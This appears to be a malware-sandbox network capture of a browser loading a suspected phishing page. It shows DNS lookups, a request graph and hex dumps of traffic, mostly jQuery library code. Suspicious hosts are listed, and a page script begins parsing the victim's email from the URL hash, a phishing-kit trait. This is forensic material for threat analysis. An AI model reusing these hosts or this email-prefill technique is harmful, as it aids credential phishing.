Mar 13, 2025 10:07:48.190716028 CET	1.1.1.1	192.168.2.12	0x5e00	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:48.190716028 CET	1.1.1.1	192.168.2.12	0x5e00	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:48.191303015 CET	1.1.1.1	192.168.2.12	0x8ab7	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Mar 13, 2025 10:07:48.191853046 CET	1.1.1.1	192.168.2.12	0x4404	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:48.191853046 CET	1.1.1.1	192.168.2.12	0x4404	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:51.021675110 CET	1.1.1.1	192.168.2.12	0xc205	No error (0)	polynethub.netlify.app	3.75.10.80	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:51.021675110 CET	1.1.1.1	192.168.2.12	0xc205	No error (0)	polynethub.netlify.app	3.124.100.143	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:53.970501900 CET	1.1.1.1	192.168.2.12	0x3b0a	No error (0)	polynethub.netlify.app	3.125.36.175	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:53.970501900 CET	1.1.1.1	192.168.2.12	0x3b0a	No error (0)	polynethub.netlify.app	3.124.100.143	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:54.468904972 CET	1.1.1.1	192.168.2.12	0x7c03	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:56.936911106 CET	1.1.1.1	192.168.2.12	0x51c9	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mr.ahmed-elgamal.com

pub-160645733abe48e1a173755d32058a26.r2.dev

code.jquery.com

cdnjs.cloudflare.com

polynethub.netlify.app

ipinfo.io

otelrules.svc.static.microsoft

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.12	49713	172.217.18.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2025 10:07:49.998348951 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 13, 2025 10:07:50.622025013 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 13 Mar 2025 08:32:23 GMT Expires: Thu, 13 Mar 2025 09:22:23 GMT Age: 2127 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 13, 2025 10:07:50.631155014 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 13, 2025 10:07:50.812284946 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 13 Mar 2025 08:32:26 GMT Expires: Thu, 13 Mar 2025 09:22:26 GMT Age: 2124 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49700	138.197.101.40	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:42 UTC	687	OUT	GET /03/?id=0EcoCp6Ari HTTP/1.1 Host: mr.ahmed-elgamal.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:42 UTC	272	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:07:42 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 12 Mar 2025 18:18:51 GMT ETag: "4d5-630293cc15ba8" Accept-Ranges: bytes Content-Length: 1237 Vary: Accept-Encoding Connection: close Content-Type: text/html
2025-03-13 09:07:42 UTC	1237	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 70 61 72 73 65 20 74 68 65 20 65 6d 61 69 6c 20 66 72 6f 6d 20 74 68 65 20 55 52 4c 20 68 61 73 68 0d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 45 6d 61 69 6c 46 72 6f 6d 48 61 73 68 28 29 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script> // Function to parse the email from the URL hash function getEmailFromHash()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49707	151.101.130.137	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:50 UTC	690	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:50 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 13 Mar 2025 09:07:50 GMT Age: 3091102 X-Served-By: cache-lga21947-LGA, cache-pdk-kfty8610059-PDK X-Cache: HIT, HIT X-Cache-Hits: 6620, 5 X-Timer: S1741856870.401331,VS0,VE0 Vary: Accept-Encoding
2025-03-13 09:07:50 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2025-03-13 09:07:50 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
2025-03-13 09:07:50 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2025-03-13 09:07:50 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
2025-03-13 09:07:50 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
2025-03-13 09:07:50 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.12	49708	151.101.130.137	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:50 UTC	710	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: https://pub-160645733abe48e1a173755d32058a26.r2.dev sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:50 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2501375 Date: Thu, 13 Mar 2025 09:07:50 GMT X-Served-By: cache-lga21980-LGA, cache-pdk-katl1840032-PDK X-Cache: HIT, HIT X-Cache-Hits: 853, 0 X-Timer: S1741856870.403014,VS0,VE1 Vary: Accept-Encoding
2025-03-13 09:07:50 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2025-03-13 09:07:50 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2025-03-13 09:07:50 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2025-03-13 09:07:50 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2025-03-13 09:07:50 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2025-03-13 09:07:50 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2025-03-13 09:07:50 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
